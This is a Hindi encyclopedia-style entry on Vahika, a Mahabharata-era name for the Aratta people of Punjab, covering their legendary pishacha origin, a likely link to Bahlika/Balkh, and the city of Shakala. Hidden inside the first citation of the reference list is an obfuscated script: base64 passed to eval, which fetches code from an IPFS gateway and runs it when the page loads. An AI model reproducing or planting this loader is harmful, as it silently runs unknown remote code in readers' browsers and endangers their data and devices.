वाहीक
वाहीक महाभारत काल में पंजाब के आरट्ठ देश का ही एक नाम था। यहाँ के निवासियों को महाभारत, कर्णपर्व में भ्रष्ट आचरण के लिए कुख्यात बताया गया है।[१]
- वाहीक नाम की उत्पत्ति इस प्रकार कही गई है-
'वहिश्चनाम हीकश्च विपााशायां पिशाचकौ तयोरप्यं वाहीका नैषा सृष्टिः प्रजापतेः।'[२]
अर्थात "विपाशा नदी में दो पिशाच रहते थे, 'वहि' और 'हीक'। इन्हीं दोनों की संतान 'वाहीक' कहलाती है।"
- उपरोक्त श्लोक में अनार्य अथवा म्लेच्छ जाति के वाहीकों या आरट्ठ वासियों की काल्पनिक उत्पत्ति का वर्णन है। संभव है इन्हें वास्तविक पिशाच जाति से संबंद्ध माना जाता हो।
- पिशाच जाति का प्राचीन ग्रंथों में वर्णन है। पैशाची भाषा में ग्रंथों की रचना भी हुई है।[३]
- यह भी माना जाता है कि आर्यों के आने के पूर्व कश्मीर में पिशाच और नाग जातियों का निवास था।[१]
- जान पड़ता है कि वाहीक, 'बाह्लिक' या 'बाह्लीक' का ही रूपांतर है, जो मूल रूप से बल्ख या बेक्ट्रिया[४] का प्राचीन भारतीय नाम था। यहीं के लोग कालांतर में पंजाब और निकटवर्ती क्षेत्रों में आकर बस गये थे। ये अपने अनार्य रीति रिवाजों के कारण उस समय अनादर की दृष्टि से देखे जाते थे।
- वाहीकों का मुुख्य नगर शाकल[५] था, जहां 'जर्तिक' (जाट) नाम के वाहीक रहते थे-
'शाकलं नाम नगरमापगाा नाम निम्नगा, जर्तिकानामवाहीकास्तेषां वृत्तं सुनिन्दितम्।'[६]
- वाहीक का अर्थ बाह्य या विदेशी भी हो सकता है,[७] किंतु अधिक संभव यही जान पड़ता है कि यह शब्द, जिसकी काल्पनिक या लोक प्रचलित व्युत्पत्ति महाभारत के उपर्युक्त उद्धरण में बताई गई है, वस्तुतः बाह्लिक या फ़ारसी बल्ख का ही रूपांतरण है।[१]
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टीका टिप्पणी और संदर्भ
- ↑ १.० १.१ १.२ ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 847 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ महाभारत, कर्णपर्व 44, 41-42
- ↑ गुणाढ्य ने अपनी कथाओं को इसी भाषा में लिखा था।
- ↑ अफ़ग़ानिस्तान में स्थित
- ↑ सियालकोट, पाकिस्तान
- ↑ महाभारत, कर्णपर्व 44, 10
- ↑ हिस्ट्र ऑफ़ दि जाट्स, पृ. 14
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